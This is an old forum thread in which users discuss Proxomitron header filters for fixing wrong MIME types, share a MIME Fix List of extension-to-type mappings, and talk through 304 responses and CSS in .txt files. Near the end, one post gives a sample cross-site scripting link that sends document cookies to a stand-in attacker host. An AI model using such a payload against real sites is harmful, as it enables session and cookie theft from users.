HTTP Header: Content-Type 3 in 1

[sidki3003]

updated: 2002-07-25

Hi,

Recently i saw some *.bmp's and archives filtered by proxo due to wrong mime types.
This was with Scott's "fix", and Mona's "missing" and "unknown" Content-Type filters active.
It happens very rarely, so for testing i set some extensions in the mime.ini of my local webserver to "unknown", nonsense, and empty.

I added the critical extensions to "MIME Fix List" and modified the "fix" filter to include Mona's.
It's easier to maintain, because now "missing" and "unknown" also depend on the list.

[HTTP headers]
In = TRUE
Out = FALSE
Key = "Content-Type: 1 Fix MIME types (mod S3) (LOG) (In)"
Match = "(text/*|^?|unknown)1 $URL([^/]+*.([a-z0-9]+{2,5}&&$LST(MIME-List))(?|(^?)))&$LOG(CHDR_In CT_Ext fixed: 1 to )"
Replace = ""

Skip the &$LOG() thing for Prox below 4.3.
Watch out for word wrap.

It entirely depends on a good "MIME Fix List". Here is the one i use

------- MIME Fix List.txt ----------
# Proxomitron4 URL killfile
# MIME type/file extension mapping
# by Paul Rupe
#
# NoAddURL
#
# $Header: E:/RCS/MIMEFixList.txt 1.3 2002/03/27 16:59:37 prupe Exp prupe $
#
# Blocklist for use with the "Content-Type: Fix MIME types based on URL"
# header filter.  This file matches URL extensions to their proper MIME
# types.
#
# Get the latest version of this file from
#   http://www.geocities.com/u82011729/prox/blocklist.html
# Based on MIME Fix List.txt included with Proxomitron.
#
# Format:  extension $SET(0=correct/content-type)
#

# text/*
htm(l|) $SET(0=text/html)
js  $SET(0=text/javascript)
css $SET(0=text/css)

# application/*
exe $SET(0=application/octet-stream)
zip $SET(0=application/zip)
rar $SET(0=application/x-rar-compressed)
pdf $SET(0=application/pdf)
swf $SET(0=application/x-shockwave-flash)

# image/*
jp(e|)g $SET(0=image/jpeg)
gif $SET(0=image/gif)
png $SET(0=image/png)
bmp $SET(0=image/bmp)

# video/*
avi $SET(0=video/msvideo)
asf $SET(0=video/x-ms-asf)
mp(e|)g $SET(0=video/mpeg)
mov $SET(0=video/quicktime)

# audio/*
mp3 $SET(0=audio/x-mpeg)
wav $SET(0=audio/x-wav)
# mid $SET(0=audio/mid)

# my additions in order to simplify filter set
# virgolamobile April 04, 2002
# txt $SET(0=text/html)
eml $SET(0=text/html)
xml $SET(0=text/html)
xsl $SET(0=text/html)

# by sidki 2002-06-05
mid $SET(0=audio/midi)
rmi $SET(0=audio/midi)
cab $SET(0=application/cab)
arc $SET(0=application/x-arc)
rar $SET(0=application/x-rar)
arj $SET(0=application/x-arj)
#gz $SET(0=application/x-gzip)
jar $SET(0=application/java-archive)
pac $SET(0=application/x-ns-proxy-autoconfig)
bat $SET(0=text/plain)
------------------------------------

Some notes on false positives:
If you use the variant for the beta version, you'll notice a lot of text/html to text/html hits.
That's because every incoming extension matched in "MIME Fix List" is replaced.
That's most probably faster than doing a complicated check like:
if mime type of incoming file ext. != mime type of "MIME Fix List" ext. then ...

All 304's (Not Modified) trigger the filter, since an incoming 304 doesn't carry a Content-Type header (same for the "missing" filter).
I think there is no way to let proxo check the incoming HTTP/1.x line, that contains the response code.

BTW, previewing of longer posts doesn't seem to work here (also happened before).

edit: commented the gzip line, for reading of *.html.gz pages
edit: $LOG command moved to the matching expression

regards, sidki


Edited by - sidki3003 on 25 Jul 2002  20:07:54

[TEggHead]

quote:All 304's (Not Modified) trigger the filter, since an incoming 304 doesn't carry a Content-Type header (same for the "missing" filter).
I think there is no way to let proxo check the incoming HTTP/1.x line, that contains the response code.

just a thought...it's possible to detect the absence of a header using (^?) as match for the headervalue. I use it to sometimes force a certain header to exist if not there. You could use this to create a recognizable header in such cases which could then be targeted in a &$IDHR test...? trouble is that because of the top-down order, it has to be a header that appears above content-type, otherwise you can't use it there to test on (it won't exist yet) and it probably has to be a header that will never appear in a 304 (so you could recognize it as such)

I admit, this is just theorizing, haven't tried it yet, but it might work...





 

[sidki3003]

Good idea! Maybe something like Accept-Ranges.
But i'll have to look that up in the HTTP RFC to make no nonsense


 

[sidki3003]

Rethinking ...

JarC, isn't that the same problem, but the other way around?
I mean somehow you have to know it's not a 304 you are adding the header to.


 

[TEggHead]

quote:
Rethinking ...

JarC, isn't that the same problem, but the other way around?
I mean somehow you have to know it's not a 304 you are adding the header to.

Exactly, so it got to be a header that will never be part of a 304.
That way the filter kicks in and forces it to a known unique marker value to test for, ergo a detected 304...not?

I see what you mean, what I was thinking was using a header that would always be present in anything other return than 304, so the filter would not accidentally tag a response as 304 while it is not







Edited by - TEggHead on 07 Jun 2002  00:54:19

[sidki3003]

quote:
I see what you mean, what I was thinking was using a header that would always be present in anything other return than 304, so the filter would not accidentally tag a response as 304 while it is not

Well, "Content-Type"
No, seriously, i think there is no such header.
Unfortunately.

 

[altosax]

hi sidki,
i've seen you are using also some extensions i've added to mime fix list. there i've seen you have commented the line:

# txt $SET(0=text/html)

but you should remove # from this line to force filtering of txt files because sometimes the external stylesheet are wrote in .txt format so if you filter some css code you need to have this line to cover the cases in which css are used in .txt format.

try yourself writing a css as .txt file and include it in a html page: all works fine!!

if you never filter css, then all is ok. but this could help users that filter them.

regards,
altosax.

 

[sidki3003]

Hi altosax

I ran into problems with this, because as you know *.txt files can be everything,
and too much was filtered at times.

I didn't check, whether it's possible in the mime fix list,
but text/plain$FILTER(true) would IMO be the best solution.
Then you can control in every filter, if it should be triggered by $TYPE(oth) or not.

regards, sidki

 

[Jor]

quote:try yourself writing a css as .txt file and include it in a html page: all works fine!!

If you mean the CSS works fine, correct. CSS allows for any file extension, or a lack of one, as long as the content is valid CSS.

If you mean HTML inside the CSS is executed (which is in violation of the specification!), this is a browser security risk. Opera does not do so, but MSIE may.

 

[hpguru]

quote:
...but MSIE may.

What does *that* mean? Can you point to an example exploit?

 

[Jor]

Ah.. my mistake. I confused Cross Site Scripting (CSS) with Cascading Style Sheets (CSS) -- the latter I can't recall any security issues with, the former of course is the well-known

<a href="http://www.target.com/foo<script>
document.location='http://www.attacker.org/?' 
+document.cookies</script>">Click here</a>

-like exploit.

Edited by - Jor on 07 Jun 2002  18:31:29

[sidki3003]

Could you fix above link?

 

[Jor]

Look again... it's not a link, it's an example of this Cross Site Scripting exploit

I don't know any sites which actually use it anymore.

 

[sidki3003]

Oops
It was just that i can't read this page without scrolling anymore.

 

[hpguru]

MS may have fixed that. I can't get any of the exploits at the following site to work in an up to date IE6. I get errors telling me I need to contact the site *directly*.  

http://jscript.dk/adv/TL002/